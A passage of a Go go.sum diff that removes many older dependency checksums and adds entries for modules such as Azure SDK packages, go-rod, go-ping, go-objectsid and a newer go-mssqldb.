h1:ua6Ush4NALrHk5QXDWnjvZHN93OuF0HfuEPq9I1X0cM= -cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= -cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= -cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= -cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= -cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= -cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= -cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= -cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= -cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= -cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= -cloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY= -cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= -cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= -cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= -cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= -cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= -cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= -cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= -cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= -cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= -dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJcghJGOYCgdezslRSVzqwLf/q+4Y2r/0= +github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8= github.com/Azure/go-ntlmssp v0.0.0-20211209120228-48547f28849e h1:ZU22z/2YRFLyf/P4ZwUYSdNCWsMEI0VeyrFoI2rAhJQ= github.com/Azure/go-ntlmssp v0.0.0-20211209120228-48547f28849e/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= -github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6 h1:w0E0fgc1YafGEh5cROhlROMWXiNoZqApk2PDN0M1+Ns= github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6/go.mod h1:nuWgzSkT5PnyOd+272uUmV0dnAnAn42Mk7PiQC5VzN4= -github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= -github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= -github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM= -github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA= -github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= -github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= -github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= -github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= -github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= -github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc= -github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= -github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= -github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= -github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84= -github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= -github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= -github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/audibleblink/bamflags v1.0.0 h1:Ul07TOyv5Ht7/u3GsIQDUy++eiKB8q+Nvah6AgEWB8k= +github.com/audibleblink/bamflags v1.0.0/go.mod h1:zpuLMpykftgB88SHYGBa1urg0uHn01R2pjeBed+JhB8= +github.com/bwmarrin/go-objectsid v0.0.0-20191126144531-5fee401a2f37 h1:MuLKITJFJ3Q4zql+AMdvOWgL1c4sB9SIF3tIrbQ8Jw0= +github.com/bwmarrin/go-objectsid v0.0.0-20191126144531-5fee401a2f37/go.mod h1:bh3gp4JMNaDCqhJfKGjttehBWFtgfQ/FUevRm5fr88E= github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cheggaaa/pb/v3 v3.0.8 h1:bC8oemdChbke2FHIIGy9mn4DPJ2caZYQnfbRqwmdCoA= -github.com/cheggaaa/pb/v3 v3.0.8/go.mod h1:UICbiLec/XO6Hw6k+BHEtHeQFzzBH4i2/qk/ow1EJTA= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= -github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= -github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= -github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= -github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= -github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211130200136-a8f946100490/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= -github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= -github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= -github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/denisenkom/go-mssqldb v0.11.0 h1:9rHa233rhdOyrz2GcP9NM+gi2psgJZ4GWDpL/7ND8HI= -github.com/denisenkom/go-mssqldb v0.11.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU= -github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/denisenkom/go-mssqldb v0.12.0 h1:VtrkII767ttSPNRfFekePK3sctr+joXgO58stqQbtUA= +github.com/denisenkom/go-mssqldb v0.12.0/go.mod h1:iiK0YP1ZeepvmBQk/QpLEhhTNJgfzrpArPY/aFvc9yU= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= -github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= -github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= -github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= -github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= -github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= -github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= -github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= -github.com/envoyproxy/go-control-plane v0.10.1/go.mod h1:AY7fTTXNdv/aJ2O5jwpxAPOWUZ7hQAEvzN5Pf27BkQQ= -github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/envoyproxy/protoc-gen-validate v0.6.2/go.mod h1:2t7qjJNvHPx8IjnBOzl9E9/baC+qXE/TeeyBRzgJDws= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= -github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= -github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= -github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= -github.com/fsnotify/fsnotify v1.5.1 h1:mZcQUHVQUQWoPXXtuf9yuEXKudkV2sx1E06UadKWpgI= -github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU= -github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= -github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= -github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= -github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= -github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= -github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= -github.com/go-gl/glfw/v3.3/glfw v0.0.0-20210410170116-ea3d685f79fb/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= -github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= -github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= -github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= -github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= +github.com/go-ping/ping v0.0.0-20211130115550-779d1e919534 h1:dhy9OQKGBh4zVXbjwbxxHjRxMJtLXj3zfgpBYQaR4Q4= +github.com/go-ping/ping v0.0.0-20211130115550-779d1e919534/go.mod h1:xIFjORFzTxqIV/tDVGO4eDy/bLuSyawEeojSm3GfRGk= github.com/go-redis/redis/v8 v8.11.5 h1:AcZZR7igkdvfVmQTPnu9WE37LRrO/YrBH5zWyjDC0oI= github.com/go-redis/redis/v8 v8.11.5/go.mod h1:gREzHqY1hg6oD9ngVRbLStwAWKhA0FEgq8Jd4h5lpwo= +github.com/go-rod/rod v0.107.0 h1:5MUNIYVjdMQ8QN6f87VBJoyrcfOaXoDdQwtem4RsQHM= +github.com/go-rod/rod v0.107.0/go.mod h1:Au6ufsz7KyXUJVnw6Ljs1nFpsopy+9AJ/lBwGauYBVg= github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE= github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= -github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= -github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= -github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gofrs/uuid v4.2.0+incompatible h1:yyYWMnhkhrKwwr8gAOcOCYxOOscHgDS9yZgBrnJfGa0= github.com/gofrs/uuid v4.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= -github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= -github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= -github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY= github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= -github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= -github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= -github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= -github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= -github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= -github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= -github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= +github.com/golang-sql/sqlexp v0.0.0-20170517235910-f1bb20e5a188 h1:+eHOFJl1BaXrQxKX+T06f78590z4qA2ZzBTqahsKSE4= +github.com/golang-sql/sqlexp v0.0.0-20170517235910-f1bb20e5a188/go.mod h1:vXjM/+wXQnTPR4KqTKDgJukSZ6amVRtWMPEjE6sQoK8= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= -github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= -github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= -github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= -github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/gomodule/redigo v1.8.4/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0= -github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp 